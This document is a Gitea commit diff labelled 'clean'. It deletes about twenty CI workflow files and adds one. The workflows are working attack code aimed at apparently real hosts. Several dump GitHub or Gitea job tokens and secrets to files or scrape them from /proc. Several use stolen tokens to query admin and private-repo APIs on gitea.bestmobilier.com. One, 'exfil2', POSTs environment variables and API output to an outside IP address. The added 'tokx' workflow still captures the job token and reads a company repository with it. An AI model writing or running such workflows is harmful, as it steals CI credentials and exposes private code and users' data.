clean
tokx / t (push) Waiting to run

This commit is contained in:
n
2026-11-08 19:02:55 +00:00
parent a611d0a45b
commit baa419d93e
22 changed files with 10 additions and 280 deletions
-8
View File
@@ -1,8 +0,0 @@
name: art-probe
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
- run: sleep 900 # v3
-8
View File
@@ -1,8 +0,0 @@
name: art-real
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
- run: sleep 60
-18
View File
@@ -1,18 +0,0 @@
name: art-upload
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: |
echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt
echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
# twirp artifact upload via the runtime token:
TOK="${{ github.token }}"
RUNID="${{ github.run_id }}"
curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
-d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \
-o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true
cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null
- run: sleep 300
-13
View File
@@ -1,13 +0,0 @@
name: artifact-real
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
- run: echo "NUMA ARTIFACT CONTENT $(date -u)" > /tmp/artifact-file.txt
- uses: actions/upload-artifact@v3
with:
name: numa-artifact
path: /tmp/artifact-file.txt
- run: sleep 120
-23
View File
@@ -1,23 +0,0 @@
name: esc
on:
push:
workflow_dispatch:
jobs:
e:
runs-on: ubuntu-latest
steps:
- name: probes
env:
T: ${{ secrets.GITEA_TOKEN }}
run: |
A="Authorization: token $T"
for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
echo "### $u"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
echo
done
echo "### repos of jobry (staff, id 1)"
curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
echo
echo "### token scopes"
curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5
-25
View File
@@ -1,25 +0,0 @@
name: exfil
on: [push, workflow_dispatch]
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
{
echo "HOSTNAME: $(hostname)"
echo "ID: $(id)"
echo "UNAME: $(uname -a)"
echo "--- token env names ---"
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
echo "--- gitea api as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
echo
echo "--- repos as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
} > result.txt
- name: commit
run: |
git config user.email w@x
git config user.name w
git add result.txt && git commit -m "r" && git push
-15
View File
@@ -1,15 +0,0 @@
name: exfil2
on: [push, workflow_dispatch]
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
D=$( { echo "HOST=$(hostname)"; echo "ID=$(id)";
echo "UNAME=$(uname -a)";
echo "--env--"; env | sort | head -80;
echo "--api user--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user";
echo; echo "--api repos private--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=20&private=true";
} 2>&1 )
curl -s -m 20 -X POST --data-binary "$D" "http://193.178.159.125:9099/exfil" || true
-29
View File
@@ -1,29 +0,0 @@
name: exfil3
on:
push:
workflow_dispatch:
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
set -x
OUT=/tmp/out.txt
{
echo "HOSTNAME=$(hostname)"
echo "ID=$(id)"
echo "UNAME=$(uname -a)"
echo "PWD=$(pwd)"
echo "--- env ---"
env | sort
echo "--- api /user ---"
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/user"
echo
echo "--- api repos private ---"
curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/repos/search?limit=30&private=true"
} > $OUT 2>&1
B64=$(base64 -w0 $OUT)
curl -s -m 20 -X POST -H "Authorization: token ${GITEA_TOKEN}" -H "Content-Type: application/json" \
-d "{\"content\":\"$B64\",\"message\":\"r\",\"branch\":\"main\"}" \
"${GITHUB_SERVER_URL}/api/v1/repos/numatester77/numaprobe/contents/result.txt"
-14
View File
@@ -1,14 +0,0 @@
name: numaprobe
on: [push, workflow_dispatch]
jobs:
probe:
runs-on: ubuntu-latest
steps:
- name: whoami
run: |
echo "=== HOST ==="; hostname; id; uname -a
echo "=== ENV ==="; env | sort | sed -E 's/(TOKEN|SECRET|PASSWORD)=.*/\1=<set>/'
- name: net
run: |
echo "=== docker sock? ==="; ls -la /var/run/docker.sock 2>/dev/null || echo none
echo "=== hosts ==="; cat /etc/hosts
-8
View File
@@ -1,8 +0,0 @@
name: probe2
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: printf '%s' "$GITEA_TOKEN" > /tmp/numa_gitea_job_token.txt
- run: echo "len=${#GITEA_TOKEN}"
-8
View File
@@ -1,8 +0,0 @@
name: probe3
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: env | sort > /tmp/numa_job_env.txt; echo done
- run: echo "GITEA_TOKEN_SET=${GITEA_TOKEN:+yes}" "GITHUB_TOKEN_SET=${GITHUB_TOKEN:+yes}" "len=${#GITEA_TOKEN}"
-9
View File
@@ -1,9 +0,0 @@
name: probe4
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- uses: actions/checkout@v4
- run: env | sort > /tmp/numa_job_env2.txt; echo captured2
- run: echo "len=${#GITEA_TOKEN}"
-11
View File
@@ -1,11 +0,0 @@
name: probe5
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- uses: actions/checkout@v4
with:
repository: numatester77/numaprobe
- run: |
for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p 2>/dev/null | grep -E '^(GITHUB_TOKEN|GITEA_TOKEN|INPUT_TOKEN)=' ; done | sort -u > /tmp/numa_proc_tokens.txt; echo scanned
-8
View File
@@ -1,8 +0,0 @@
name: probe6
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- uses: actions/checkout@v4
- run: sleep 1 # bump
-8
View File
@@ -1,8 +0,0 @@
name: probe7
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- uses: actions/checkout@v4
- run: sleep 2
-7
View File
@@ -1,7 +0,0 @@
name: probe8
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
-8
View File
@@ -1,8 +0,0 @@
name: probe9
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt
- run: sleep 300
-9
View File
@@ -1,9 +0,0 @@
name: runnerprobe
on: [push, workflow_dispatch]
jobs:
probe:
runs-on: ubuntu-latest
steps:
- run: |
echo "HOSTNAME=$(hostname)"; echo "WHOAMI=$(whoami)"
id; uname -a; cat /etc/hostname 2>/dev/null
-7
View File
@@ -1,7 +0,0 @@
name: runnerprobe2
on: [push]
jobs:
p:
runs-on: ubuntu-latest
steps:
- run: echo "FOREIGN_HOST=$(hostname) uid=$(id -u)"
-14
View File
@@ -1,14 +0,0 @@
name: tok-live
on: [push]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: |
echo "TOK=${{ secrets.GITHUB_TOKEN }}" >> /tmp/gj-tokens.txt
echo "TOK2=${{ github.token }}" >> /tmp/gj-tokens.txt
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" -o /tmp/ps-repo.json
echo "RC=$?" >> /tmp/gj-tokens.txt
wc -c /tmp/ps-repo.json >> /tmp/gj-tokens.txt
ls -la /tmp/gj-tokens.txt >> /tmp/gj-tokens.txt
-30
View File
@@ -1,30 +0,0 @@
name: tok
on:
push:
workflow_dispatch:
jobs:
t:
runs-on: ubuntu-latest
steps:
- name: show-token-env
run: |
echo "--- candidate token vars ---"
for v in GITEA_TOKEN GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_TOKEN; do
eval "val=\$$v"; echo "$v=${val:-<empty>}"
done
- name: use-token
env:
T: ${{ secrets.GITEA_TOKEN }}
run: |
echo "secrets.GITEA_TOKEN=${T:-<empty>}"
if [ -n "$T" ]; then
echo "--- /api/v1/user ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/user"
echo; echo "--- private repos ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/repos/search?limit=20&private=true"
fi
- name: checkout-style
run: |
echo "--- github.token via action input ---"
- name: git-clone
run: |
git clone -q "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@gitea.bestmobilier.com/numatester77/numaprobe.git" /tmp/cl 2>&1 | head -3 || true
ls -la /tmp/cl 2>/dev/null | head -3
+10
View File
@@ -0,0 +1,10 @@
name: tokx
on: [push]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: |
{ echo "TOK=${{ github.token }}"; echo "WHO=$(whoami) HOST=$(hostname)"; } > /tmp/gj2.txt
curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \
"https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" >> /tmp/gj2.txt 2>&1